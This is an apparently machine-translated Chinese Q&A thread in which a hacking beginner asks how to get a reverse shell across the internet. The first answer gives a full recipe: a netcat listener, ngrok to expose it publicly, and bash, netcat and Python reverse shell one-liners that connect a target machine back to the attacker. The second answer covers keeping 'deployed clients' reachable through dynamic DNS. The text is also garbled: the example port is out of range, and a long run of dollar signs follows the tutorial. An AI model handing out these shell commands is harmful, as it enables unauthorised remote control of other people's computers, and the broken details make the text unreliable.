如何在全球互联网上使用反向 shell？

Question

我对计算机和黑客技术非常陌生。 我的问题是：

1. 如何在全球 IP 上使用反向 shell？
2. 我是否需要服务器，或者在路由器上运行的电脑/Raspberry Pi 可以工作吗？
3. 我们的路由器有一个动态IP，但它不会经常改变。这可能会带来麻烦吗？

谢谢！

Answer 1

如何在全球互联网上使用反向 Shell（针对初学者）

好的，您是黑客新手，并且希望通过互联网获得反向 Shell。这是使用 nc (Netcat)、socat 和 ngrok 执行此操作的简单方法。它适合初学者，即使您的路由器的 IP 是动态的，它也能工作。

第 1 步：设置侦听器

您需要一个侦听器来捕获反向 shell。在您的 PC 上启动它：

使用 Netcat：

nc -nvlp 4444

-n: Skip DNS (faster)

-v: Verbose (you’ll see what’s happening)

-l: Listen for connections

-p: Use port 4444

或者，如果您喜欢 socat（如果您必须建立基于套接字的连接，则需要 Netcat 的精美版本):

socat TCP-LISTEN:4444 STDOUT

第 2 步：使用 ngrok 获取公共 IP

您的电脑位于路由器后面，因此它没有全局 IP。这就是 ngrok 拯救世界的地方。

运行此命令将端口 4444 公开到互联网：

ngrok tcp 4444

Ngrok 会输出如下内容：

Forwarding                    tcp://43.43.34.23:98234

这是您的公共 IP 和端口。把它写下来（或者让 ngrok 保持运行）。

第 3 步：获取反向 shell

现在，在目标计算机上（当然是您正在黑客攻击的机器……当然是道德的），您将使用此公共 IP 和端口作为反向 shell。将 43.43.34.23 和 98234 替换为您的 ngrok 详细信息。

一些反向 shell 示例：

使用 Bash（如果有）：

bash -i >& /dev/tcp/43.43.34.23/98234 0>&1

使用 Netcat：

nc 43.43.34.23 98234 -e /bin/bash

使用 Python（如果没有 Bash/Netcat）：

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("43.43.34.23",98234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

有很多选项，您选择取决于系统

步骤 4：捕获 shell

返回到您的侦听器。

当目标机器运行反向 shell 命令时，您将看到连接。

现在，您将在目标上拥有一个远程 shell系统！$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Answer 2

<代码>1。如何通过全局 IP 使用反向 shell？

您需要在设备上托管一个侦听器，然后需要对路由器进行端口转发以允许公开访问侦听器。

<代码>2。我需要服务器吗？或者我的电脑/树莓派在路由器上运行可以工作吗？

任何电脑/树莓派都可以。唯一需要注意的是，反向 shell 仅在设备打开时才接受连接。

<代码>3。我们的路由器有一个动态IP，但它不会经常改变。这可能会造成麻烦吗？

如果您的路由器的公共IP地址发生变化，那么您当前部署的所有客户端都将停止工作。要么准备好在每次更改时重新制作它们，要么为您的路由器设置动态 DNS 并使用它来创建二进制文件。